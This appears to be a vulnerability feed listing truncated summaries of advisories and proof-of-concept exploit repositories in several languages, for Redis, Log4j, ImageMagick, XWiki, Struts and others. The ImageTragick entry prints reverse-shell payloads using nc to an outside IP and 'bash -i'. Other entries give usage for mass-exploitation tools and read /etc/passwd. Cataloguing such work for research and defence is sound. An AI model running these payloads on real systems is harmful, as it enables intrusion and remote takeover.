EUVD-2026-89334

simple-git unsafe-operation guard does not block trailer command configuration...

CVE-2024-4358

CVE-2024-4358 CVE-2024-4358 の脆弱性検出および大量悪用ツール インストール: git clone https://github.com/RevoltSecurities/CVE-2024-4358 pip install -r requirements.txt python3 exploit.py --help 使用法: python3 exploit.py -h / / / / / / / / | |// // / / / / / / / / / / / / / / // // / / / / / / / ///|// /|// // //...

cve-2025-49844

CVE-2025-49844 これは CVE-2025-49844 の個人的な proof-of-concept であり、RediShell としても知られています。 対応ターゲットビルド: x86-64 Linux redis:8.2.1-alpine Docker イメージ x86-64 Linux redis:8.2.1-bookworm Docker イメージ 少し不格好で、Wiz Research のものほど良くはないかもしれません。それでも、Hexacon 2025 のトークがアップロードされる前に動かせたのは嬉しいですし、調査はとても楽しかったです。 使い方...

cve-2023-1671

Сve-2023-1671 cve-2023-1671https://vulners.com/cve/CVE-2023-1671 はどのように機能しますか? /opt/ws/bin/ftsblistpack は Perl スクリプトで、別の Perl スクリプトである /opt/ws/bin/sblistpack を呼び出します。 その中のシェルコマンドの引数は一重引用符で囲まれています： $rc += system"$sblistpack '$uri' '$user' '$filetype' '$filein' '$fileout'";...

log4j-rce-test

ビルド ./build.sh log4j RCE サーバーの起動 ./start-log4j-rce-server.sh テスト java -cp log4j-rce-1.0-SNAPSHOT-all.jar log4j を実行 カレントフォルダの hack.log にログが出力されるか確認 この行を変更できます String cmds = "sh", "-c", "echo 'Exploit at '" + getDateString + " ./hack.log" ; ファイル apache-log4j-poc/src/main/java/Exploit.java 内の...

CVE-2023-34152

CVE-2023-34152 影响 ImageMagick 6.9.6-4 的 RCE 漏洞。该漏洞允许攻击者在受害者系统上执行命令，从而实现远程命令执行。 这是一个受 fullwaywang 对 CVE-2023-34152 发现启发的 POC。 漏洞披露 使用方式：python3 CVE-2023-34152.py 攻击者IP 攻击者端口 描述 OpenBlob 中存在一个任意代码执行漏洞（shell 命令注入），这实际上是对 CVE-2016-5118 的不完全修复。 CVE-2016-5118 表明，打开任何文件名以 '|' 字符开头的图像文件时，ImageMagick 会...

CVE-2026-40176-poc

CVE-2026-40176: Composer Perforce OSコマンドインジェクション PoC English version 概要 このリポジトリは、Composer の Perforce VCSドライバに存在する重大なOSコマンドインジェクション脆弱性 CVE-2026-40176 のProof of Concept PoC です。この脆弱性は、Composer 2.2.27および2.9.6より前のバージョンに影響します。 脆弱性は Perforce::generateP4Command メソッドに存在します。シェルコマンドを組み立てる際、url、p4user、client...

ImageTragick_Poc

ImageTragick POCs RCEPOC push graphic-context viewbox 0 0 640 480 fill 'urlhttps://example.com/image.jpg"|mknod /tmp/backpipe p && nc 121.42.56.8 8989 0/tmp/backpipe"' pop graphic-context push graphic-context viewbox 0 0 640 480 fill 'urlhttps://example.com/image.jpg"|bash -i &...

CVE-2025-24893-PoC

CVE-2025-24893 - XWiki リモートコード実行（RCE） CVE-2025-24893 の更新された概念実証（PoC）エクスプロイトです。XWiki における認証不要の重大な RCE 脆弱性です。このバージョンはオリジナルを改良し、任意のシェルコマンド実行とクリーンなリバースシェル注入を可能にします。 作成者: HexHunter404 ⚠️ 警告 このコードは教育目的および許可を得たペネトレーションテスト目的のみ で提供されています。 自身が所有していない、または明示的なテスト許可を得ていないシステムに対して使用しないでください。 ✨ 特徴 bash -c ''...

Apache Spark UI - Remote Command Injection

Apache Spark UI is susceptible to remote command injection. ACLs can be enabled via the configuration option spark.acls.enable. With an authentication filter, this checks whether a user has access permissions to view or modify the application. If ACLs are enabled, a code path in HttpSecurityFilte...

Malicious code in botmaker-cli (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 86fdc86c67d202ca9938942ef7786534d1b72169187cce13b1cefd8899fa54aa On npm install, postinstall.js collects the installer's hostname, username, current working directory, architecture, platform, and network interface...

Richsploit

Richsploit Richsploit: RichFaces 用のエクスプロイテーションツールキット。 概要 Richsploit は、RichFaces を使用する JSF エンドポイントをエクスプロイトするために使用できます。3.1.0 以降のすべてのバージョンが脆弱です。 usage: Richsploit -e,--exploit 0: CVE-2013-2165 1: CVE-2015-0279 2: CVE-2018-12532 3: CVE-2018-12533 4: CVE-2018-14667 -p,--payload The file containing...

Langflow-CVE-2025-3248-Multi-target

⚠️ Langflow RCE エクスプロイトスキャナー CVE-2025-3248 このPythonベースのスキャナーは、Langflowインスタンスにおける認証なしのリモートコード実行（RCE） 脆弱性をCVE-2025-3248 を介して自動検出します。これは、/api/v1/validate/codeエンドポイントを悪用して任意のシェルコマンドを実行する概念実証ペイロードを使用します。 🚨 CVEの詳細 CVE : CVE-2025-3248 影響 : 認証なしのリモートコード実行 コンポーネント : Langflow API /api/v1/validate/code...

Citrix SD-WAN Center - Remote Command Injection

Citrix SD-WAN Center is susceptible to remote command injection via the ping function in DiagnosticsController, which does not sufficiently validate or sanitize HTTP request parameter values used to construct a shell command. An attacker can trigger this vulnerability by routing traffic through t...

CVE-2023-46604

CVE-2023-46604 01. Apache ActiveMQ & OpenWire 1 Apache ActiveMQとOpenWireの概要 ActiveMQは、JMSをサポートするクライアントを含むブローカーであり、Javaだけでなく多様な言語を使用するシステム間の通信を可能にします。また、クラスタリング機能やDB、ファイルシステムを通じて各システム間の一貫性と永続性を維持するオープンソースのメッセージングおよび統合パターンサーバーです。 OpenWireは、Apache...

PyHmmm

PyHmmm これは何ですか？ これはPythonで書かれたHavoc C2用のサードパーティエージェントです。カスタムHavocエージェントの書き方を学ぶための基本的なPoCを意図しており、付随するブログ記事は https://codex-7.gitbook.io/codexs-terminal-window/red-team/red-team-dev/extending-havoc-c2/third-party-agents です。 機能 現在、サポートしているコマンドは2つだけです： shell system command exit これは OPSEC...

Citrix SD-WAN Center - Remote Command Injection

Citrix SD-WAN Center is susceptible to remote command injection via the addModifyZTDProxy function in NmsController. The function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a shell command. An attacker can trigger this vulnerability by...

CVE-2026-104859 Nx: OS command injection in the @nx/docker release pipeline

Nx is a monorepo solution for TypeScript and polyglot codebases. From 21.4.0 until 22.7.8 and from 23.0.0 until 23.1.1, the @nx/docker release pipeline builds docker tag, image lookup, and docker push invocations as shell command strings. The release.docker.repositoryName and registryUrl...

CVE-2021-45897

CVE-2021-45897 CVE-2021-45897（又名 SCRMBT-180）的 PoC —— SuiteCRM = 8.0.0. Defaults to False --help Show this message and exit. https://github.com/manuelz120/CVE-2021-45897 使用示例： .venv ➜ CVE-2021-45897 git:main ✗ ./exploit.py -u user -p --payload "cat /etc/passwd" INFO:CVE-2021-45897:Login did work -...

Struts-Apache-ExploitPack

Struts-Apache-ExploitPack これらは、Apache Struts の脆弱性（CVE-2017-5638）を検出および悪用するために使用できるスクリプトです。 MassScanner と Exploiter があります。スキャナーを使用して URL の一覧を一括スキャンし、その後 Exploiter でそれらを悪用できます。 Exploiter は、脆弱なサーバー上で任意のシェルコマンドを実行します。...